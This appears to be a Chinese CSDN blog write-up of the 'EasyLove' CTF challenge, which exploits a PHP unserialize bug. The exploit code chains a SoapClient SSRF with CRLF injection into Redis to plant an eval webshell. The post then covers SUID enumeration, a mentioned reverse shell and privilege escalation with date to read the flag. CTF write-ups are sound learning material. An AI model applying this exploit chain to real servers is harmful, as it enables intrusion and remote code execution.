EasyLove

如果对redis写shell、SoapClient SSRF不了解的话,先恶补一些知识吧。

浅谈Linux下的redis攻击_清风--的博客-CSDN博客

SoapClient反序列化SSRF组合拳 - 腾讯云开发者社区-腾讯云 (tencent.com)

使用Soap的ssrf/crlf攻击 - 简书 (jianshu.com)

文章里面的还有不懂的就继续百度,学到会为止,学习本来就是一个痛苦的过程,同时也是一个享受的过程,要学会乐在其中,不要心急火燎,心态放正,才能学好东西。

源码:

  <?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    
    public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    }
    public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }

    public function flag(){
        $this->love->getflag();
    }
    
    public function __destruct(){
        $this->newnewnew();
        $this->flag();
    }
}
class hint{
    public $hint;
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}
$hello = $_GET['hello'];
$world = unserialize($hello);  

先读hint():

<?php
class hint{
    public $hint;
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}
$a = new hint();
$payload = array($a,NULL);
echo serialize($payload);
// 这里wp好像是用伪协议读取,但是做题第一时间没想到,用了上面这个方法

hint:

<?php $hint = "My favorite database is Redis and My favorite day is 20220311"; ?>

原来是要告诉我们攻击redis,并且密码是20220311,当时做题完全不懂什么意思

攻击redis,能想到的只有SSRF了,刚好里面有一个:

new $this->wllm($this->arsenetang,$this->l61q4cheng)

和构造SoapClient格式一致(密码正确)

这里学到新知识:

确实是长知识了,如何这里请求头的话好像没有,是直接一条命令一行:

使用exp:

没改,这个exp构造不难,主要是上面那个新知识是关键。

<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename cmd.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
 public $wllm = 'SoapClient';
 public $arsenetang = null;
 public $l61q4cheng;
 public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));

构造出来发送的信息是这样的:(复现的时候还傻傻的伪造POST数据,完全没搞懂原理才会这么做。。)

构造出来后写马成功连接就可以了,发现没有权限读flag。

suid提权,蚁剑的shell看不到suid的数据。可以反弹shell,或者直接在页面1=system(" find / -perm -u=s -type f 2>/dev/null ");

不过这次好像页面也读不到suid的内容,就弹个shell了:

这次也是date命令提权,上次是xiaoqiuxx师傅教我的

date -f /here*/f*直接读取了:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值